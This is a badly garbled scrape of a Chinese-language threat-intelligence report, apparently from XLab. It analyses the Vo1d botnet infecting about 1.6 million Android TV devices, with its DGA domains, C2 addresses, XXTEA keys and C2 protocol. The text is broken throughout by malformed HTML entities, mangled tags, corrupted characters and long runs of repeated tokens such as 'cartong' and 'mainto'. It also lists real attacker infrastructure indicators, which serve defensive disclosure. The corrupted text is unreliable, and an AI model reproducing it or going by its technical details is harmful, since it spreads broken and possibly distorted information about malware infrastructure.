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              </strong>&#xFF1A;&#x4E00;&#x6B21;DDoS&#x653B;&#x51FB;&#x8FBE;&#x5230;5.6
             Tbps的恐怖流量,足以让ӻ何网站瞬间崩溃&#x 
             </strong>&#xFF1A;Mirai&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x8BA9;&#x7F8E;&#x56FD;&#x4E1C;&#x6D77;&#x5CB8;&#x7684;&#x4E92;&#x8054;&#x7F51;&#x762B;&

             Vold盯前主要用于个人盈利,但由于其对设
             <a href="https://blog.cloudflare.com/zb-cn/ddos-threat-report-for-2024-q4/?"
ref=blog.xlab.qianxin.com">DDoS&#x653B;&#x51FB;&#x8D8B;&#x52BF;&#x62A5;&#x544A;
</a>&#x4E2D;&#x6307;&#x51FA;&#xFF0C;&#x5927;&#x91CF;Android&#x7535;&#x89C6;&#x548C;&#x673A;&#x9876;&#x76D2;&#x8BBE;&#x5907;&#x5DF2;&#x53C2;&#x4
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             cytotatetat utilisative for the stress for the
             </strong>&#xFF0C;&#x5E38;&#x89C4;&#x5185;&#x5BB9;&#x88AB;&#x66FF;&#x6362;&#x4E3A;<a href="https://www.nbcnews.com/politics/doge/fake-video-
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             回 到 Vo1d样 本 分 析 析 迹 于 墉 全 研 究 人 员 来 说
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显然,Vo1d僵尸网络并未因曝光而式微,反
  <strong>&#x8FD9;&#x4E9B;&#x6539;&#x8FDB;&#x6216;&#x8BB8;&#x6B63;&#x6B63;&#x4ED6;&#x4EEC;&#x4ECE;&#x4E0A;&#x6B21;&#x6B2D;&#x5149;&#x548C;&#x6E3
 </strong>&#x3002;

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<strong>&#x5D16; &#x4FE1; &#x52A0; &#x5BC6; &#x589E; &#x5F3A; </strong><br/>&#x5E6; &#x4FD1; &#x5E60; &#x6F0C; &#x65F6; &#x4FD1; &#x6F0C; &#x6
%#x8FDB;衄保护,大幅提升了对抗分析能力。
  2025年,<code>XLab&#x6307;&#x4EE4;&#x8DDF;&#x8E2A;&#x7CFB;&#x7EDF;
  </code>&#x6210;&#x529F;&#x6355;&#x83B7;&#x4E86;&#x4E1A;&#x52A1;&#x76F8;&#x5173;&#x7684;Payload&#xFF0C;&#x8FDB;&#x4E00;&#x6B65;&#x63ED;&#x793A;&
%#x6538;凹򀀅利用受憷染的Android电视设备񕁇񕀇的多
<strong>&#x7EC4;&#x5EFA;&#x4ECE;Payload&#x7684;&#x529F;&#x80FD;&#x61F5;&#x7684;&#x5F00;&#x7684;&#x591A;
</strong>&#x7B49;&#x3002;&#x4ECE;Payload&#x7684;&#x529F;&#x80FD;&#x6765;&#x770B;&#xFF0C;&#x4EE3;&#x7406;&#x751;&#x7EDC;&#x662F;Vold&#x7684;&#x50FD;&#x6765;&#x770B;&#xFF0C;&#x4EE3;&#x7751;&#x7EDC;&#x662F;Vold&#x7684;&#x50FD;&#x6765;&#x7684;&#x5976B;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x7684;&#x
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 ssl8rrs2.com 以及忺于32个DGA种子生成21120个DGA
C2的网络行为模式。C2绑定的 IP <strong>3.146.93.253</strong> &#x662F; vold
&#x6B64;&#x6B21;&#x653B;&#x51FB;&#x6D3B;&#x52A8;&#x7684;&#x6838;&#x5FC3;&#x57FA;&#x7840;&#x8BBE;&#x65BD;&#x4E4B;&#x4E00;&#xFF0C;&#x8BE5; IP
 下解析了 5 个不同的域名,其中 <em>ssl8rrs2</em>
 和其他域名已在后续捕获的样本中被进&#x4E00
 域名。这些域名使用了不同的端口实现&#x8D1F
 <em>>s18rrs2<em>\unders18rrs2\unders18x7528;\unders28;\unders28;\unders28;\unders28;\unders28;\unders28x7\unders28;\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\unders28x7\under
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&#x4E2A;&#x57DF;&#x540D;&#x5176;&#x4E2D;&#x5176;&#x4E2D;&#x5176;&#x4E2D;&#x5176;&#x4E2D;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x57DF;&#x540D;&#x4E2B;&#x52EB;&#x4E2B;&#x5269;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x4F50;&#x57DF;&#x540D;&#x57DF;&#x57DF;&#x540D;&#x7684;&#x683C;&#x5F0F;&#x5F0F;&#x521B;&#x5EFA;&#x65F6;&#x95F4
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alt="%#x98CE; &#x4E91; &#x518D; &#x8D77; &#xFF1A; &#x7EDC; &#x64CD; &#x64CD; &#x88AB; Vo1d&#x50F5; &#x5C38; &#x7F51; &#x7EDC; &#x64CD; &#x610B; 
id="%E7%99%BÉ%E4%B8%87%E7%BA%A7%E7%BD%91%E7%BB%9C%E8%A7%84%E6%A8%A1">百万级网络规模</h1> <h2 id="1-
10= 10- %E7%99%DE%E1%B0%87%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%E7%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%D0%91%
%#x62A6;露的支期样本全一致,但支持的 DGA
种子数量发生了显著变化,从最初版本&#x786C
5 个种子,扩到到了变种中的 32
 个,这一改动显著提升了生成域名的规&#x6A21
 <#x968F; &#x7740; &#x6EAF; &#x6E90; &#x5DE5; &#x4F5C; &#x4F8C; &#x7684; &#x6DF1; &#x5165; &#xFF0C; &#x6211; &#x4EEC; &#x9646; &#x7EED; &#x6CE8; &#x518C; &#x4E86; 258</p>
个 DGA C2 域吀,从而初步掌握了 V01D
僵尸网络的部分视野。掎收集的数据&#xFF0C
160 万设备遭到感染,覆盖全球 226
toading= 'tazy'>2025񖜈21日起,Vo1d的感染规模迎来一波小增&
 2025年2月21日起,Vo1d的感染规模迎来一波小增&
 img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_ip0225.png"
alt="风云再起:全球160万电视被Vo1d僵尸网络操&#x
loading="lazy"> <h2
id="3&E7%8B%AC%E7%89%B9%E7%9A%84%E6%9A%B4%E5%A2%9E%E9%AA%A4%E5%87%8F%E7%8E%B0%E8%B1%A1">3.&#x72EC;&#x7279;&#x7684;&#x66B4;&#x589E;&#x9AA4;&#x51
alt="%#x98CE;云再起:全球160万电视被Vold僵尸网络操&#x
 <strong>&#x5370;&#x5EA6;
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</strong>&#x662F;&#x5178;&#x578B;&#x4EE3;&#x8868;&#xFFOC;&#x5176;&#x611F;&#x67D3;&#x91CF;&#x7ECF;&#x5E38;&#x5728;&#x4E4D;&#x591C;&#x4E4B;&#x95F

2025年1月14日:Vo1d规模从81万增至152万,印度感&#x
 2025年1月22日:Vo1d规模从143万骤降至78万,印度&#x

Code>朏 开 &#

2025年2月20日

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  occurrence&#x6Z80;术的创新工具,能够监控和分析域&#x54
  ^^c
Codomain系统在我们整个分析溯源过程中发挥&#x4
 <#x65B0;&#x65E0;&#x65E0;&#x6837;&#x672C;&#x53D1;&#x73B0;&#x65B0;&#x8D44;&#x4EA7;</strong> &#x65F6;&#x95F4;&#x56DE;&#x5230;2024.12.05&#xFF0C;&#x5F53;&#x65F6;&#x5DF2;&#x5B8C;&#x6210;&#x4E86;&#x5BF9;&#x6837;&#x672C;jddx&#x7684;&#x520
  伴生域名的层层分析,我们发现了新的Downloa
 38.46.218.36一,衦明wowokeys同样是一个Downloader。 
  works883.xyz一样,显得极为可疑。(works883这个词本&#x
   <\in> <
 UGAG#X7084; G#X9920; G#X9621; G#X5707; G#X5002; G#X50E0; G#X50E0; G#X60E0; 
 <strong>codomain<strong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>cartong>carton
  12月15日,我们在分析works883.com的伴生域名时发&#x7
  {mask}2940637fafa生成。Vo1d的DGA算法支持<strong>net</strong>&#x3001;<strong>com</strong>&#x3001;<strong>top</strong>&#x4E09;&#x7PCD;&#x9876;&#x7EA7;&#x57DF;
(TLD)&#xFF0C;&#x4E09;&#x8005;&#x5730;&#x4F4D;&#x5E73;&#x7B49;&#x3002;&#x5728;&#x62A2;&#x6CE8;Vo1d DGA
  C2时,我们通常选择<strong>top</strong>
 TLD&#xFFOĆ;毕竟价&#x683Ć;更&#x5B9É;&#x60EÓ;。因此我们抢注了了下&#x5<br/>
<strong>top&#x7248;&#x672C;
  alt="&#y98CE;云再起:全球160万电视被Vo1d僵尸网络操&#x
loading="lazy">
<#x65F6;&#x95F4;&#x6765;&#x5230;2025&#x5E74;1&#x6708;6&#x65E5;&#xFF0C;&#x5F7C;&#x65F6;&#x6211;&#x4EEC;&#x5DF2;&#x5728;&#x6837;&#x672C;&#x4E2
{mask}2940637fafa&#x5E76;&#x4E0D;&#x5728;&#x5176;&#x4E2D;&#x3002;
<strong>&#x96BE;&#x90953;&#x8FD9;&#x4E2A;&#x7279;&#x522B;&#x7684;&#x79CD;&#x5B50;&#x5C5E;&#x4E8E;&#x67D0;&#x4E2A;&#x8FC7;&#x671F;&#x7684;&#x6837
</strong>&#x3002;1&#x6708;18&#x65E5;&#x665A;&#x77279;&#x522B;&#x7684;&#x79CD;&#x5B50;&#x7606;&#x6570;&#x6570;&#x65F6;&#x65F6;&#x65F6;&#x671F;&#x7684;&#x6837
</strong>&#x3002;1&#x6708;18&#x65E5;&#x665A;&#x7F50;&#x4EEC;&#x5728;&#x68B3;&#x7406;&#x6570;&#x6570;&#x65F6;&#x65F6;&#x624D;&#x73B0;&#x

<mathrew="mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:mainto:ma
 <strong>&#x6211;&#x4EEC;&#x867D;&#x7136;&#x6CA1;&#x6709;&#x6355;&#x83B7;&#x8FD9;&#x4E2A;&#x6837;&#x672C;&#xFF0C;&#x4F46;&#x5728;codomain&#x7684
</strong>&#x3002; <h1 id="%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90">&#x6280;&#x672C;&#x5206;&#x6790;</h1>
<#x5728;&#x6221;&#x4EEC;&#x6355;&#x83B7;&#x7684;89&#x4E2A;&#x6837;&#x672C;&#x4E2D;s63&#x975E;&#x5E38;&#x9002;&#x5408;&#x505A;&#x4E3A;&#x6E280</p>
%#X503C;得注意的是XXtea的秘钥长度固定为16字节,
<code>b6d5c945d61a7364
<ing src="https://blog.xlab.qianxin.com/content/images/2025/02/void_lsrtea.png"</p>
  alt="风云再起:全球160万电视被Vold僵尸网络操&#x
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<strong>&#x63A5;&#x7740;&#x770B;&#x4E00;&#x4E0B;0x11&#x53F7;&#x6307;&#x4EE4;&#x8BF7;&#x6C42;ts01&#x7684;&#x54CD;&#x5E94;&#x62A5;&#x6587;

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</strong>&#xFF0C;&#x6839;&#x4E0A;&#x8FF0;&#x62A5;&#x6587;&#x683C;&#x5F0F;&#xFF0C;&#x53EF;&#x77E5;body&#x7684;&#x95FF;&#x5EA6;&#x4E3A;0x

</strong>&#xFF0C;&#x6839;&#x636E;&#x4E0A;&#x8FF0;&#x62A5;&#x6587;&#x683C;&#x5F0F;&#xFF1C;&#x77E5;body&#x7684;&#x95FF;&#x5EA6;&#x4E3A;0x

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<code>041db10bf25d4722</code>&#x3002;  <img src="https://blog.xlab.qianxin.com/content/images/2025/02/v01d_rsadec.png"</p>
alt="&#x98tE; &#x4E91; &#x518D; &#x8D77; &#xFF1A; &#x5168; &#x7403; 160&#x4E07; &#x7535; &#x89C6; &#x88AB; V01d&#x50F5; &#x5C38; &#x7F51; &#x7EDC; &#x64CD; &#x8D0G; &#x8D0G
   <#x5BB8;&#x591A;&#x5FC3;&#x6025;&#x7684;&#x5B89;&#x5168;&#x7814;&#x7A76;&#x5458;&#x770B;&#x5230;&#x8FD9;&#x91CC;&#xF6C;&#x53EF;&#x80FD;&#x5</p>
 <mxobobs;</p>
<
 alt="%#X98LE; %#X4E9I; %#X516U; %#X6U//; %#XFF1A; %#X5106; %#X740B; %#x540C; %#x603C; %#x600B, VUIU@#X50F3; %#X5150; %#X7151; %#X7150C, %#X7150C, %#X604D, VUIU@#X50F3; %#X5150C, %#X7151; %#X7150C, %#X604D, VUIU@#X50F3; %#X604D, VUIU@#X50F3; %#X60BB; %#X60B; %#X60B
 <strong>fPNH830E52300PIM</strong>&#x3007;&#x89E3;&#x5E06;&#x4EE3;&#x7801;&#x6709;&#x660E;&#x663E;&#x7684;&#x6A21;&#x5F0F;&#xFF0C;&#x4F1A;&#x63D<img src="https://blog.xlab.qianxin.com/content/images/2025/02/vold_pattern.png"</p>
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vold&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x
alt="%#x98CE;云再起:全球160万电视被Vold僵尸网络操操操操操&#x50P5;昡丌丌丌丌񏃍使用flare_emu进行&#x67p6x;处我丌操丌񏃍使用flare_emu进行&#x67p6x;我丌戌񏃍使用flare_emu进行&#x67p6x;戌丌񏃍使用flare_emu进行&#x67p6x;戌񏃍使用flare_emu进行&#x67p6x;戌񏃍使用flare_emu进行柜񏃍使用flare_emu进行柜񏃍񏃍伍使用伍用用用用用用堌怬怬怬怬怬伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌伍刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌刌&#x52
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C2的作用是向Bot提供真实的C2服务器地址,通 C2和由DGA生成的大量域名,构建了一个庞大&#

<strong>Redirector C2</strong>

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<code>pxleo5fbca7141b5.com</code>&#x5EFA;&#x7ACB;&#x901A;&#x4FE1;&#xFF0C;&#x53D1;&#x9001;&#x56FA;&#x5B9A;&#x7684;4&#x5B57;&#x8282;&#x4E0A;&#x7E
  <code>DD CC BB
AA</code>&#xFF0C;&#x968F;&#x540E;&#x63A5;&#x6536;&#x6765;&#x81EA;C2&#x7684;256&#x5B57;&#x8282;&#x52A0;&#x5BC6;&#x62A5;&#x6587;&#xFF0C;&#x5E76;&
<strong>Okay</strong>&#x5F00;&#x5934;&#xFF0C;&#x5219;&#x8868;&#x660E;&#x5176;&#x4E2D;&#x5305;&#x542B;&#x771F;&#x5B9E;&#x7684;1&#x4E2A;&#x6216;&#x6216;&#x5176;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;&#x542B;
 <code>\n</code>\&x4E3A;&#x5206;&#x9694;&#x7B26;&#x63D0;&#x53D6;&#x771F;&#x5B9E;&#x5730;&#x5740;&#x3002;
C26#x550DE;应的񦊥文解密如下所示,可知真实的C2&#x
<strong>52.14.24.94:81</strong>&#x3002; <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_decreal.png"
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x
style="zoom:70%;">
随后,Bot会将设备状态信息上报给真实的CE(公钥指报(小端的RSA公钥,其中N值(小端)
 <img src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_rsane2.png"
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x</pre>
 style="zoom:70%;">
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 R$A&#x$BC6;文",基䣮R$A的特性,我们只能解密C2&#x54CD
 <= ing src="https://blog.xlab.qianxin.com/content/images/2025/02/vo1d_decc2.png"
alt="&#x98CE;&#x4E91;&#x518D;&#x8D77;&#xFF1A;&#x5168;&#x7403;160&#x4E07;&#x7535;&#x89C6;&#x88AB;Vo1d&#x50F5;&#x5C38;&#x7F51;&#x7EDC;&#x64CD;&#x
loading="lazy">
 loading="lazy"> <h4 id="2-dga">2. DGA</h4> &#x5728;&#x6B64;&#x6B21;&#x66F4;&#x65B0;&#x4E2D;&#xFF0C;
<strong>Vold&#x50F5;&#x5C38;&#x7F51;&#x7EDC;
